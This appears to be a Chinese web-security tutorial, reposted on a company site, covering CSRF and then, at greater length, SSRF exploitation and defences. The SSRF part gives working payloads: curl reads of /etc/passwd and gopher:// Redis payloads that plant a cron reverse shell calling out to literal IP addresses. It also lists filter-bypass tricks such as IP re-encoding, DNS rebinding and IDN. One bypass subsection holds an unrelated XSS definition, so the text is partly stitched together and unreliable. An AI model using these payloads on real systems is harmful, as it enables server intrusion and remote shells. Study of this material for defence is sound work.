這篇文章主要講解了“WEB安全滲透測(cè)試中的CSRF漏洞是什么”,文中的講解內(nèi)容簡(jiǎn)單清晰,易于學(xué)習(xí)與理解,下面請(qǐng)大家跟著小編的思路慢慢深入,一起來(lái)研究和學(xué)習(xí)“WEB安全滲透測(cè)試中的CSRF漏洞是什么”吧!
因?yàn)榕驼嬲\(chéng),有更多的客戶和我們聚集在一起,為了共同目標(biāo),創(chuàng)新互聯(lián)公司在工作上密切配合,從創(chuàng)業(yè)型企業(yè)到如今不斷成長(zhǎng),要感謝客戶對(duì)我們的高要求,讓我們敢于面對(duì)挑戰(zhàn),才有今天的進(jìn)步與發(fā)展。從網(wǎng)站到重慶小程序開發(fā),軟件開發(fā),app軟件開發(fā)公司,十多年企業(yè)網(wǎng)站建設(shè)服務(wù)經(jīng)驗(yàn),為企業(yè)提供網(wǎng)站設(shè)計(jì),綿陽(yáng)服務(wù)器托管一條龍服務(wù).為企業(yè)提供營(yíng)銷型網(wǎng)站建設(shè),按需網(wǎng)站開發(fā),原創(chuàng)設(shè)計(jì),十多年品質(zhì),值得您的信賴.
CSRF漏洞
3.3.1. 簡(jiǎn)介
CSRF(Cross-site request forgery)跨站請(qǐng)求偽造,也被稱為“One Click Attack”或者Session Riding,通??s寫為CSRF,是一種對(duì)網(wǎng)站的惡意利用。盡管聽起來(lái)像跨站腳本(XSS),但它與XSS非常不同,XSS利用站點(diǎn)內(nèi)的信任用戶,而CSRF則通過(guò)偽裝來(lái)自受信任用戶的請(qǐng)求來(lái)利用受信任的網(wǎng)站。
3.3.2. 分類
3.3.2.1. 資源包含
資源包含是在大多數(shù)介紹CSRF概念的演示或基礎(chǔ)課程中可能看到的類型。這種類型歸結(jié)為控制HTML標(biāo)簽(例如<image>、<audio>、<video>、<object>、<script>等)所包含的資源的攻擊者。如果攻擊者能夠影響URL被加載的話,包含遠(yuǎn)程資源的任何標(biāo)簽都可以完成攻擊。
由于缺少對(duì)Cookie的源點(diǎn)檢查,如上所述,此攻擊不需要XSS,可以由任何攻擊者控制的站點(diǎn)或站點(diǎn)本身執(zhí)行。此類型僅限于GET請(qǐng)求,因?yàn)檫@些是瀏覽器對(duì)資源URL唯一的請(qǐng)求類型。這種類型的主要限制是它需要錯(cuò)誤地使用安全的HTTP請(qǐng)求方式。
3.3.2.2. 基于表單
通常在正確使用安全的請(qǐng)求方式時(shí)看到。攻擊者創(chuàng)建一個(gè)想要受害者提交的表單; 其包含一個(gè)JavaScript片段,強(qiáng)制受害者的瀏覽器提交。
該表單可以完全由隱藏的元素組成,以致受害者很難發(fā)現(xiàn)它。
如果處理cookies不當(dāng),攻擊者可以在任何站點(diǎn)上發(fā)動(dòng)攻擊,只要受害者使用有效的cookie登錄,攻擊就會(huì)成功。如果請(qǐng)求是有目的性的,成功的攻擊將使受害者回到他們平時(shí)正常的頁(yè)面。該方法對(duì)于攻擊者可以將受害者指向特定頁(yè)面的網(wǎng)絡(luò)釣魚攻擊特別有效。
3.3.2.3. XMLHttpRequest
這可能是最少看到的方式。
由于許多現(xiàn)代Web應(yīng)用程序依賴XHR,許多應(yīng)用花費(fèi)大量的時(shí)間來(lái)構(gòu)建和實(shí)現(xiàn)這一特定的對(duì)策。
基于XHR的CSRF通常由于SOP而以XSS有效載荷的形式出現(xiàn)。沒(méi)有跨域資源共享策略(CORS),XHR僅限于攻擊者托管自己的有效載荷的原始請(qǐng)求。
這種類型的CSRF的攻擊有效載荷基本上是一個(gè)標(biāo)準(zhǔn)的XHR,攻擊者已經(jīng)找到了一些注入受害者瀏覽器DOM的方式。
3.3.3. 防御
● 通過(guò)CSRF-token或者驗(yàn)證碼來(lái)檢測(cè)用戶提交
● 驗(yàn)證Referer/Content-Type
● 對(duì)于用戶修改刪除等操作最好都使用POST操作
● 避免全站通用的cookie,嚴(yán)格設(shè)置cookie的域
3.4
SSRF漏洞
3.4.1. 簡(jiǎn)介
服務(wù)端請(qǐng)求偽造(Server Side Request Forgery, SSRF)指的是攻擊者在未能取得服務(wù)器所有權(quán)限時(shí),利用服務(wù)器漏洞以服務(wù)器的身份發(fā)送一條構(gòu)造好的請(qǐng)求給服務(wù)器所在內(nèi)網(wǎng)。SSRF攻擊通常針對(duì)外部網(wǎng)絡(luò)無(wú)法直接訪問(wèn)的內(nèi)部系統(tǒng)。
3.4.2. 漏洞危害
SSRF可以對(duì)外網(wǎng)、服務(wù)器所在內(nèi)網(wǎng)、本地進(jìn)行端口掃描,攻擊運(yùn)行在內(nèi)網(wǎng)或本地的應(yīng)用,或者利用File協(xié)議讀取本地文件。
內(nèi)網(wǎng)服務(wù)防御相對(duì)外網(wǎng)服務(wù)來(lái)說(shuō)一般會(huì)較弱,甚至部分內(nèi)網(wǎng)服務(wù)為了運(yùn)維方便并沒(méi)有對(duì)內(nèi)網(wǎng)的訪問(wèn)設(shè)置權(quán)限驗(yàn)證,所以存在SSRF時(shí),通常會(huì)造成較大的危害。
3.4.3. 利用方式
SSRF利用存在多種形式以及不同的場(chǎng)景,針對(duì)不同場(chǎng)景可以使用不同的繞過(guò)方式。
以curl為例, 可以使用dict protocol操作redis、file協(xié)議讀文件、gopher協(xié)議反彈Shell等功能,常見的Payload如下:
curl -vvv \'dict://127.0.0.1:6379/info\'
curl -vvv \'file:///etc/passwd\'
# * 注意: 鏈接使用單引號(hào),避免$變量問(wèn)題
curl -vvv \'gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/103.21.140.84/6789 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a\'
3.4.4. 相關(guān)危險(xiǎn)函數(shù)
SSRF涉及到的危險(xiǎn)函數(shù)主要是網(wǎng)絡(luò)訪問(wèn),支持偽協(xié)議的網(wǎng)絡(luò)讀取。以PHP為例,涉及到的函數(shù)有 file_get_contents() / fsockopen() / curl_exec() 等。
3.4.5. 過(guò)濾繞過(guò)
3.4.5.1. 更改IP地址寫法
一些開發(fā)者會(huì)通過(guò)對(duì)傳過(guò)來(lái)的URL參數(shù)進(jìn)行正則匹配的方式來(lái)過(guò)濾掉內(nèi)網(wǎng)IP,如采用如下正則表達(dá)式:
● ^10(.([2][0-4]d|[2][5][0-5]|[01]?d?d)){3}$
● ^172.([1][6-9]|[2]d|3[01])(.([2][0-4]d|[2][5][0-5]|[01]?d?d)){2}$
● ^192.168(.([2][0-4]d|[2][5][0-5]|[01]?d?d)){2}$
對(duì)于這種過(guò)濾我們采用改編IP的寫法的方式進(jìn)行繞過(guò),例如192.168.0.1這個(gè)IP地址可以被改寫成:
● 8進(jìn)制格式:0300.0250.0.1
● 16進(jìn)制格式:0xC0.0xA8.0.1
● 10進(jìn)制整數(shù)格式:3232235521
● 16進(jìn)制整數(shù)格式:0xC0A80001
還有一種特殊的省略模式,例如10.0.0.1這個(gè)IP可以寫成10.1。 訪問(wèn)改寫后的IP地址時(shí),Apache會(huì)報(bào)400 Bad Request,但Nginx、MySQL等其他服務(wù)仍能正常工作。 另外,0.0.0.0這個(gè)IP可以直接訪問(wèn)到本地,也通常被正則過(guò)濾遺漏。
3.4.5.2. 使用解析到內(nèi)網(wǎng)的域名
XSS全稱為Cross Site Scripting,為了和CSS分開簡(jiǎn)寫為XSS,中文名為跨站腳本。該漏洞發(fā)生在用戶端,是指在渲染過(guò)程中發(fā)生了不在預(yù)期過(guò)程中的JavaScript代碼執(zhí)行。XSS通常被用于獲取Cookie、以受攻擊者的身份進(jìn)行操作等行為。
3.4.5.3. 利用解析URL所出現(xiàn)的問(wèn)題
在某些情況下,后端程序可能會(huì)對(duì)訪問(wèn)的URL進(jìn)行解析,對(duì)解析出來(lái)的host地址進(jìn)行過(guò)濾。這時(shí)候可能會(huì)出現(xiàn)對(duì)URL參數(shù)解析不當(dāng),導(dǎo)致可以繞過(guò)過(guò)濾。
比如 http://www.baidu.com@192.168.0.1/ 當(dāng)后端程序通過(guò)不正確的正則表達(dá)式(比如將http之后到com為止的字符內(nèi)容,也就是www.baidu.com,認(rèn)為是訪問(wèn)請(qǐng)求的host地址時(shí))對(duì)上述URL的內(nèi)容進(jìn)行解析的時(shí)候,很有可能會(huì)認(rèn)為訪問(wèn)URL的host為www.baidu.com,而實(shí)際上這個(gè)URL所請(qǐng)求的內(nèi)容都是192.168.0.1上的內(nèi)容。
3.4.5.4. 利用跳轉(zhuǎn)
如果后端服務(wù)器在接收到參數(shù)后,正確的解析了URL的host,并且進(jìn)行了過(guò)濾,我們這個(gè)時(shí)候可以使用跳轉(zhuǎn)的方式來(lái)進(jìn)行繞過(guò)。
可以使用如 http://httpbin.org/redirect-to?url=http://192.168.0.1 等服務(wù)跳轉(zhuǎn),但是由于URL中包含了192.168.0.1這種內(nèi)網(wǎng)IP地址,可能會(huì)被正則表達(dá)式過(guò)濾掉,可以通過(guò)短地址的方式來(lái)繞過(guò)。
常用的跳轉(zhuǎn)有302跳轉(zhuǎn)和307跳轉(zhuǎn),區(qū)別在于307跳轉(zhuǎn)會(huì)轉(zhuǎn)發(fā)POST請(qǐng)求中的數(shù)據(jù)等,但是302跳轉(zhuǎn)不會(huì)。
3.4.5.5. 通過(guò)各種非HTTP協(xié)議
如果服務(wù)器端程序?qū)υL問(wèn)URL所采用的協(xié)議進(jìn)行驗(yàn)證的話,可以通過(guò)非HTTP協(xié)議來(lái)進(jìn)行利用。
比如通過(guò)gopher,可以在一個(gè)url參數(shù)中構(gòu)造POST或者GET請(qǐng)求,從而達(dá)到攻擊內(nèi)網(wǎng)應(yīng)用的目的。例如可以使用gopher協(xié)議對(duì)與內(nèi)網(wǎng)的Redis服務(wù)進(jìn)行攻擊,可以使用如下的URL:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1* * * * bash -i >& /dev/tcp/172.19.23.228/23330>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
除了gopher協(xié)議,F(xiàn)ile協(xié)議也是SSRF中常用的協(xié)議,該協(xié)議主要用于訪問(wèn)本地計(jì)算機(jī)中的文件,我們可以通過(guò)類似 file:///path/to/file 這種格式來(lái)訪問(wèn)計(jì)算機(jī)本地文件。使用file協(xié)議可以避免服務(wù)端程序?qū)τ谒L問(wèn)的IP進(jìn)行的過(guò)濾。例如我們可以通過(guò) file:///d:/1.txt 來(lái)訪問(wèn)D盤中1.txt的內(nèi)容。
3.4.5.6. DNS Rebinding
一個(gè)常用的防護(hù)思路是:對(duì)于用戶請(qǐng)求的URL參數(shù),首先服務(wù)器端會(huì)對(duì)其進(jìn)行DNS解析,然后對(duì)于DNS服務(wù)器返回的IP地址進(jìn)行判斷,如果在黑名單中,就禁止該次請(qǐng)求。
但是在整個(gè)過(guò)程中,第一次去請(qǐng)求DNS服務(wù)進(jìn)行域名解析到第二次服務(wù)端去請(qǐng)求URL之間存在一個(gè)時(shí)間差,利用這個(gè)時(shí)間差,可以進(jìn)行DNS重綁定攻擊。
要完成DNS重綁定攻擊,我們需要一個(gè)域名,并且將這個(gè)域名的解析指定到我們自己的DNS Server,在我們的可控的DNS Server上編寫解析服務(wù),設(shè)置TTL時(shí)間為0。這樣就可以進(jìn)行攻擊了,完整的攻擊流程為:
● 服務(wù)器端獲得URL參數(shù),進(jìn)行第一次DNS解析,獲得了一個(gè)非內(nèi)網(wǎng)的IP
● 對(duì)于獲得的IP進(jìn)行判斷,發(fā)現(xiàn)為非黑名單IP,則通過(guò)驗(yàn)證
● 服務(wù)器端對(duì)于URL進(jìn)行訪問(wèn),由于DNS服務(wù)器設(shè)置的TTL為0,所以再次進(jìn)行DNS解析,這一次DNS服務(wù)器返回的是內(nèi)網(wǎng)地址。
● 由于已經(jīng)繞過(guò)驗(yàn)證,所以服務(wù)器端返回訪問(wèn)內(nèi)網(wǎng)資源的結(jié)果。
3.4.5.7. 利用IPv6
有些服務(wù)沒(méi)有考慮IPv6的情況,但是內(nèi)網(wǎng)又支持IPv6,則可以使用IPv6的本地IP如 [::] 0000::1或IPv6的內(nèi)網(wǎng)域名來(lái)繞過(guò)過(guò)濾。
3.4.5.8. 利用IDN
一些網(wǎng)絡(luò)訪問(wèn)工具如Curl等是支持國(guó)際化域名(Internationalized Domain Name,IDN)的,國(guó)際化域名又稱特殊字符域名,是指部分或完全使用特殊的文字或字母組成的互聯(lián)網(wǎng)域名。
在這些字符中,部分字符會(huì)在訪問(wèn)時(shí)做一個(gè)等價(jià)轉(zhuǎn)換,例如 ???????.??? 和 example.com 等同。利用這種方式,可以用 ① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ 等字符繞過(guò)內(nèi)網(wǎng)限制。
3.4.6. 可能的利用點(diǎn)
● ftp、ftps (FTP爆破)
● sftp
● tftp(UDP協(xié)議擴(kuò)展)
● dict
● gopher
● ldap
● imap/imaps/pop3/pop3s/smtp/smtps(爆破郵件用戶名密碼)
● rtsp – smb/smbs(連接SMB)
● telnet
● http、https
● MongoDB
● ShellShock命令執(zhí)行
● JBOSS遠(yuǎn)程Invoker war命令執(zhí)行
● Java調(diào)試接口命令執(zhí)行
● axis2-admin部署Server命令執(zhí)行
● Jenkins Scripts接口命令執(zhí)行
● Confluence SSRF
● Struts2 命令執(zhí)行
● counchdb WEB API遠(yuǎn)程命令執(zhí)行
● docker API遠(yuǎn)程命令執(zhí)行
● php_fpm/fastcgi 命令執(zhí)行
● tomcat命令執(zhí)行
● Elasticsearch引擎Groovy腳本命令執(zhí)行
● WebDav PUT上傳任意文件
● WebSphere Admin可部署war間接命令執(zhí)行
● Apache Hadoop遠(yuǎn)程命令執(zhí)行
● zentoPMS遠(yuǎn)程命令執(zhí)行
● HFS遠(yuǎn)程命令執(zhí)行
● glassfish任意文件讀取和war文件部署間接命令執(zhí)行
3.4.7. 防御方式
● 過(guò)濾返回的信息
● 統(tǒng)一錯(cuò)誤信息
● 限制請(qǐng)求的端口
● 禁止不常用的協(xié)議
● 對(duì)DNS Rebinding,考慮使用DNS緩存或者Host白名單
感謝各位的閱讀,以上就是“WEB安全滲透測(cè)試中的CSRF漏洞是什么”的內(nèi)容了,經(jīng)過(guò)本文的學(xué)習(xí)后,相信大家對(duì)WEB安全滲透測(cè)試中的CSRF漏洞是什么這一問(wèn)題有了更深刻的體會(huì),具體使用情況還需要大家實(shí)踐驗(yàn)證。這里是創(chuàng)新互聯(lián),小編將為大家推送更多相關(guān)知識(shí)點(diǎn)的文章,歡迎關(guān)注!
分享文章:WEB安全滲透測(cè)試中的CSRF漏洞是什么
分享鏈接:http://jinyejixie.com/article24/iissce.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供營(yíng)銷型網(wǎng)站建設(shè)、網(wǎng)站內(nèi)鏈、軟件開發(fā)、關(guān)鍵詞優(yōu)化、手機(jī)網(wǎng)站建設(shè)、全網(wǎng)營(yíng)銷推廣
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請(qǐng)盡快告知,我們將會(huì)在第一時(shí)間刪除。文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如需處理請(qǐng)聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時(shí)需注明來(lái)源: 創(chuàng)新互聯(lián)